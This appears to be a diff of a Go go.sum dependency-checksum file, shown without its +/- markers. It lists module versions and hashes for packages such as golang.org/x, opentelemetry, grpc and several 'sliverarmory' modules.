github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a h1:Q69DxLWF+Z8oIjuNbeKC6Xygk8Z4heWzzO79Io1cEYA=
github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
github.com/moloch--/sgn v0.0.5 h1:92GFaRpe+353uhqzFiNKXKgmTiD4dBxnvb8gd4MaV/g=
@@ -621,6 +645,8 @@ github.com/openai/openai-go/v2 v2.7.1/go.mod h1:jrJs23apqJKKbT+pqtFgNKpRju/KP9zp
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pires/go-proxyproto v0.8.1 h1:9KEixbdJfhrbtjpz/ZwCdWDD2Xem0NZ38qMYaASJgp0=
@@ -672,14 +698,12 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w=
github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g=
github.com/slack-go/slack v0.24.0 h1:oMz5WcCBVTkxpBxeA8QVxxK70R+XV/a0qNka6TRNGHQ=
github.com/slack-go/slack v0.24.0/go.mod h1:H0yR/YBuRJ39RkE+JpV/d/oEsbanzTRowR82bCN0cEs=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
@@ -806,24 +830,24 @@ go.mau.fi/util v0.9.3 h1:aqNF8KDIN8bFpFbybSk+mEBil7IHeBwlujfyTnvP0uU=
go.mau.fi/util v0.9.3/go.mod h1:krWWfBM1jWTb5f8NCa2TLqWMQuM81X7TGQjhMjBeXmQ=
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
go.opentelemetry.io/contrib/detectors/gcp v1.43.0 h1:62yY3dT7/ShwOxzA0RsKRgshBmfElKI4d/Myu2OxDFU=
go.opentelemetry.io/contrib/detectors/gcp v1.43.0/go.mod h1:RyaZMFY7yi1kAs45S6mbFGz8O8rqB0dTY14uzvG4LCs=
go.opentelemetry.io/contrib/detectors/gcp v1.40.0 h1:Awaf8gmW99tZTOWqkLCOl6aw1/rxAWVlHsHIZ3fT2sA=
go.opentelemetry.io/contrib/detectors/gcp v1.40.0/go.mod h1:99OY9ZCqyLkzJLTh5XhECpLRSxcZl+ZDKBEO+jMBFR4=
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 h1:XmiuHzgJt067+a6kwyAzkhXooYVv3/TOw9cM2VfJgUM=
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0/go.mod h1:KDgtbWKTQs4bM+VPUr6WlL9m/WXcmkCcBlIzqxPGzmI=
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 h1:7iP2uCb7sGddAr30RRS6xjKy7AZ2JtTOPA3oolgVSw8=
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0/go.mod h1:c7hN3ddxs/z6q9xwvfLPk+UHlWRQyaeR1LdgfL/66l0=
go.opentelemetry.io/otel v1.43.0 h1:mYIM03dnh5zfN7HautFE4ieIig9amkNANT+xcVxAj9I=
go.opentelemetry.io/otel v1.43.0/go.mod h1:JuG+u74mvjvcm8vj8pI5XiHy1zDeoCS2LB1spIq7Ay0=
go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms=
go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g=
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0 h1:5gn2urDL/FBnK8OkCfD1j3/ER79rUuTYmCvlXBKeYL8=
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0/go.mod h1:0fBG6ZJxhqByfFZDwSwpZGzJU671HkwpWaNe2t4VUPI=
go.opentelemetry.io/otel/metric v1.43.0 h1:d7638QeInOnuwOONPp4JAOGfbCEpYb+K6DVWvdxGzgM=
go.opentelemetry.io/otel/metric v1.43.0/go.mod h1:RDnPtIxvqlgO8GRW18W6Z/4P462ldprJtfxHxyKd2PY=
go.opentelemetry.io/otel/sdk v1.43.0 h1:pi5mE86i5rTeLXqoF/hhiBtUNcrAGHLKQdhg4h4V9Dg=
go.opentelemetry.io/otel/sdk v1.43.0/go.mod h1:P+IkVU3iWukmiit/Yf9AWvpyRDlUeBaRg6Y+C58QHzg=
go.opentelemetry.io/otel/sdk/metric v1.43.0 h1:S88dyqXjJkuBNLeMcVPRFXpRw2fuwdvfCGLEo89fDkw=
go.opentelemetry.io/otel/sdk/metric v1.43.0/go.mod h1:C/RJtwSEJ5hzTiUz5pXF1kILHStzb9zFlIEe85bhj6A=
go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09nk+3A=
go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g=
go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc=
go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8=
go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE=
go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw=
go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg=
go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw=
go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
@@ -844,8 +868,10 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/crypto v0.53.0 h1:QZ4Muo8THX6CizN2vPPd5fBGHyogrdK9fG4wLPFUsto=
golang.org/x/crypto v0.53.0/go.mod h1:DNLU434OwVakk9PzuwV8w62mAJpRJL3vsgcfp4Qnsio=
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa h1:Zt3DZoOFFYkKhDT3v7Lm9FDMEV06GpzjG2jrqW+QTE0=
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa/go.mod h1:K79w1Vqn7PoiZn+TkNpx3BUWUQksGO3JcVX6qIjytmA=
@@ -864,8 +890,8 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ=
golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0=
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
golang.org/x/net v0.0.0-20171115151908-9dfe39835686/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -887,8 +913,10 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o=
golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec=
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=
golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs=
golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q=
@@ -905,8 +933,10 @@ golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -945,8 +975,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
@@ -956,8 +986,10 @@ golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/term v0.44.0 h1:0rLvDRCtNj0gZkyIXhCyOb2OAzEhLVqc4B+hrsBhrmc=
golang.org/x/term v0.44.0/go.mod h1:7ze4MdzUzLXpSAoFP1H0bOI9aXDqveSvatT5vKcFh2Y=
golang.org/x/term v0.40.0 h1:36e4zGLqU4yhjlmxEaagx2KuYbJq3EwY8K943ZsHcvg=
golang.org/x/term v0.40.0/go.mod h1:w2P8uVp06p2iyKKuvXIm7N/y0UCRt3UfJTfZ7oOpglM=
golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU=
golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -971,8 +1003,10 @@ golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -989,8 +1023,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q=
golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA=
golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k=
golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -1003,30 +1037,36 @@ golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10 h1:3GDAcqdI
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10/go.mod h1:T97yPqesLiNrOYxkwmhMI0ZIlJDm+p0PMR8eRVeR5tQ=
golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE=
golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI=
gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
google.golang.org/api v0.269.0 h1:qDrTOxKUQ/P0MveH6a7vZ+DNHxJQjtGm/uvdbdGXCQg=
google.golang.org/api v0.269.0/go.mod h1:N8Wpcu23Tlccl0zSHEkcAZQKDLdquxK+l9r2LkwAauE=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine/v2 v2.0.6 h1:LvPZLGuchSBslPBp+LAhihBeGSiRh1myRoYK4NtuBIw=
google.golang.org/appengine/v2 v2.0.6/go.mod h1:WoEXGoXNfa0mLvaH5sV3ZSGXwVmy8yf7Z1JKf3J3wLI=
google.golang.org/genai v1.49.0 h1:Se+QJaH2GYK1aaR1o5S38mlU2GD5FnVvP76nfkV7LH0=
google.golang.org/genai v1.49.0/go.mod h1:A3kkl0nyBjyFlNjgxIwKq70julKbIxpSxqKO5gw/gmk=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 h1:RxhCsti413yL0IjU9dVvuTbCISo8gs3RW1jPMStck+4=
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171/go.mod h1:uhvzakVEqAuXU3TC2JCsxIRe5f77l+JySE3EqPoMyqM=
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478 h1:yQugLulqltosq0B/f8l4w9VryjV+N/5gcW0jQ3N8Qec=
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478/go.mod h1:C6ADNqOxbgdUUeRTU+LCHDPB9ttAMCTff6auwCVa4uc=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 h1:RmoJA1ujG+/lRGNfUnOMfhCy5EipVMyvUE+KNbPbTlw=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171 h1:tu/dtnW1o3wfaxCOjSLn5IRX4YDcJrtlpzYkhHhGaC4=
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171/go.mod h1:M5krXqk4GhBKvB596udGL3UyjL4I1+cTbK0orROM9ng=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260226221140-a57be14db171 h1:ggcbiqK8WWh6l1dnltU4BgWGIGo+EVYxCaAPih/zQXQ=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260226221140-a57be14db171/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 h1:aJmi6DVGGIStN9Mobk/tZOOQUBbj0BPjZjjnOdoZKts=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.82.1 h1:NnAxzGRA0677vCa4BUkOAnO5+FfQqVl9iUXeD0IqcGE=
google.golang.org/grpc v1.82.1/go.mod h1:yzTZ1TB1Z3SG+LIYaI+WiE8D5+PZ3ArnrSp8zF3+/ZA=
google.golang.org/grpc v1.79.1 h1:zGhSi45ODB9/p3VAawt9a+O/MULLl9dpizzNNpq7flY=
google.golang.org/grpc v1.79.1/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
